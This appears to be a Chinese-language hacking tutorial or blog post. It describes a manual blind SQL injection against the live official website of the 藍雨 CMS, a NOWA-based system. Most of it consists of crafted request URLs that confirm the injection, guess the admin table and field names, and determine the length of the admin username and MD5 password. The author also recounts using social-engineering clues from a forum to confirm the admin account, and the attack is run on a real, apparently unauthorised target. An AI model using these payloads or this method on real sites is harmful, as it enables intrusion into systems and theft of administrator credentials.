web安全測試

最近無聊,在網上走來走去看看。發現現在的整站系統可是越來越多了,修改版本等等的N多阿!而藍雨設計整站的使用者也越來越多了,藍雨整站系統是從NOWA 0.94修改而來的!基於NOWA的系統不單指藍雨一個還有很多的!我在此就不一一列舉了,核心都是一樣,只是程序的附加功能就各自不同!安全方面因爲基於NOWA的系統所以到目前知道的漏洞就只有上傳而已。以下文章中就會出現NOWA修改系統漏洞當中從未有的SQL注入漏洞!只怪藍雨修改程序的時候沒有做好注入問題了!這個可不能怪我!誰叫人家程序設計員不會注意安全死角阿?

一,確定注入點
我們就拿官方網站進行測試,因爲擔心外面提供的版本並非最新版本導致文章的正確性有差異。首先我們提交http://***.net/view.asp?
action=art&art_id=70 and 1=1 返回以下信息。
再次輸入
http://***.net/view.asp?
action=art&art_id=70%20and%201=2 返回以下信息
從標準的SQL注入點檢測and1=1和and 1=2d 信息返回可以看出,兩個圖片的分別這個程序的評論存在着SQL注入,因爲現在基於NOWA的修改版本都是基於ACCESS數據庫架構的,所以我們可以進一步的確定這個程序的數據庫類型。
二,猜解數據庫表
因爲本人懶惰所以只好借用NBSI進行SQL注入的工作了,怎麼知道是不是因爲的NBSI實在太厲害了,不能夠殺雞用牛刀。竟然它全部檢測不出我所找到的SQL注入點存在着SQL注入!實在太令人感到吃驚(HaK_BaN:難道真的....真的要我手動注入T_T)NBSI太給面子了!所以我只好硬着頭皮去進行手動注入了。首先猜解數據庫的表是否存在admin表。構造語句提交
http://***.net/view.asp?
action=art&art_id=70%20and%200????
(select%20count(*)%20from%20admin) 現在的程序當中的數據庫管理員表,不就是admin,adminuser user之類的名稱,所以我們只要抓住程序作者的心理就可以知道了,提交語句之後頁面返回正常,我們就可以確定數據庫當中是存在admin這個表的。我們只是需要admin的密碼以及賬號,所以數據庫當中其他的表可以忽略。
三,猜解數據庫字段
在猜解之前爲了減少更多的麻煩和無謂的猜解,應該要對於所入侵的網站進行一些資料的蒐集,例如管理員的QQ以及管理員所使用的網名都是要知道的,因爲我們通常都會使用容易記憶的密碼以及賬號,從而使自己可以不會忘記。找了文章頁面等等的功能頁面都找不到文章編輯以及管理員的QQ號碼。只好在BBS當中尋找了,很幸運的是我們在BBS當中找到了“藍雨”這個用戶名,這樣子等待會猜解admin賬號的時候我們可以試試中文的名字或者是拼音字母。(HaK_BaN:我可是曾經在MSN以一個名字看穿PLMM性格以及生日的哦,大家要注意社會工程學的重要性阿)
廢話少說,我們看看這個程序的管理員字段是什麼!?首先猜解是name的提交語句如下http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len(name)
??0) (HaK_BaN:*_*不是阿!不是NAME字段阿)提交語句後信息返回頁面顯示不正常就證實admin表中沒有name這個字段名。看來又要想想如何去進行猜解了,既然name字段不行就試試admin_name字段行不行!再次構造猜解字段語句:
http://***.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??0) (HaK_BaN:這下子總可以了吧?我又邁進一步了!)提交語句之後頁面返回正常了,這下子終於可以了。
然後,我們就開始猜解password的字段了,其實一看上面的回顯我們就可以非常肯定的說password字段就是admin_password,所以提交的語句就是
http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)??0) 信息回顯正常對吧!?哈哈哈(
說到這裏整個猜解就差不多完場了!(菜鳥:什麼什麼阿?還有賬號和密碼了?你丫的是不是傻了?)猜解密碼和賬號就更加是一個麻煩和浪費時間的活來的!好好,我們去看看賬號和密碼的猜解如何?首先我們猜解賬號的長短阿!假設,我們之前就已經拿到了管理員常用的賬號名稱“藍雨”是管理員賬號。我們就有兩種可能性,一是藍雨的拼音“lanyu”,二是藍雨的中文轉爲ASCII碼進行猜解。我們首先試試拼音這個的可能性,如果是這樣子的話我們就要構造admin_name的長度爲5,所以提交語句爲http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??5) 頁面信息返回無法正常顯示。
然後再提交http://fj126.net/view.asp?action=
art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_name)??4)
這下子頁面可算是正常了!然後再次提交語句爲
http://***.net/view.asp?
action=art&art_id=70%20and%201=(select%20count(*)
%20from%20admin%20where%20len
(admin_name)=5)
我們就可以確定admin_name的長度爲5了。賬號長度出來了,而password的長度我們還不知道,根據信息收集得知密碼是利用MD5 16位加密的,所以我們可以猜解爲密碼長度是16位喔!提交語句http://***.net/view.asp?
action=art&art_id=70%20and%201=
(select%20count(*)%20from%20admin%20where%20len
(admin_password)=16)這裏就不截圖了!我們可以基本上就知道了!賬號長度爲5位,密碼長度爲16位。(HaK_BaN:說真的我很久沒有手動了,都差不多腰痠背痛了!)至於賬號是多少密碼是多少我就不再列舉了!經過測試剛剛的社會工程學得到的管理員賬號爲:lanyu是正確的!而密碼的確是MD516位加密。整個過程可以利用臭要飯的CSC進行注入測試!
四,總結
整個程序的SQL注入頁面有幾個,都是基於藍雨整站自身添加的功能頁面沒有做好相關的SQL注入導致的,如果大家有在使用這個程序的話,可以使用通用防止注入的腳本進行防止,雖然說MD5需要暴力破解,但是如果你真的得罪人的話,不要說破解了。可能你的網站都會被別人乾的一乾二淨,網絡安全是很重要的一部分,希望大家不要輕視安全這個環節!以上文章如有錯誤請大家指出,有什麼問題可以到非安全的論壇或者BCT小組找我!
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章